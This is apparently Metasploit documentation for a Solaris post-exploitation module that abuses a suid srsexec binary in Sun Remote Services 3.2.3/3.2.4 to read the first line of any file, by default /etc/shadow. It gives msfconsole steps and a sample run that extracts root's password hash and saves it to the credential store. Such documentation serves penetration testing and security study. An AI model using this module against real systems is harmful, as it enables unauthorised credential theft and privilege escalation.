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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/post/solaris/escalate/srsexec_readline.md
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Vulnerable Application

The vulnerable binary (srsexec) is included in the package Sun Remote Services Net Connect Software Proxy Core (SUNWsrspx). The vulnerable versions are 3.2.3 and 3.2.4, for Solaris 10. This package was included on the extras/companion CD which doesn't seem to available anymore. srsexec's vulnerability is that it runs with the suid bit set, and in debug verbose mode if given a file as input, the first line of that file will be echoed back. Common exploitation is to read /etc/shadow, to get root's password hash, however any file can be read.

In lieu of this, a mock application was created in python and is available here. Follow the instructions in the python script to install, argparse also needs to be sent to the Solaris box since pypi.org doesn't accept ssl2/3 which are the only versions in Solaris 10u9.

The output from srsexec is slightly odd. The first line of the file will be after binaries file line: and truncated at 20 characters. If the output is longer than 20 characters, then the next line will start with the last 2 characters from the previous line, followed by the next 18 characters, and so on.

Verification Steps

  1. Install the application

  2. Start msfconsole

  3. Get a user level session

  4. Do: use solaris/escalate/srsexec_readline

  5. Do: set session [#]

  6. Do: run

  7. You should be able to read the first line of a file.

  8. If /etc/shadow is selected, check creds.

Options

File

The file that should have the first line read. Default is /etc/shadow and root's hash will be databased.

Scenarios

Solaris 10 u9 with mock binary and python 2.4

msf5 post(solaris/escalate/srsexec_readline) > run

[+] 3.2.4 is vulnerable
[+] Raw Command Output: verify_binary(vFYZf)
srsexec: binary_name: vFYZf
srsexec: name_buf: vFYZf_______________
binaries file line: root:MW7h.vpI1Kq1g:1
binaries file line: :17599::::::
smmsp:NP
Security verification failed for binary: vFYZf
see SYSLOG(/var/adm/messages) for errors
[+] First line of /etc/shadow: root:MW7h.vpI1Kq1g:17599::::::
[+] Adding root's hash to the credential database.
[*] Post module execution completed
msf5 post(solaris/escalate/srsexec_readline) > creds
Credentials
===========

host          origin        service       public   private        realm  private_type
----          ------        -------       ------   -------        -----  ------------
              1.1.1.1                     root     MW7h.vpI1Kq1g         Nonreplayable hash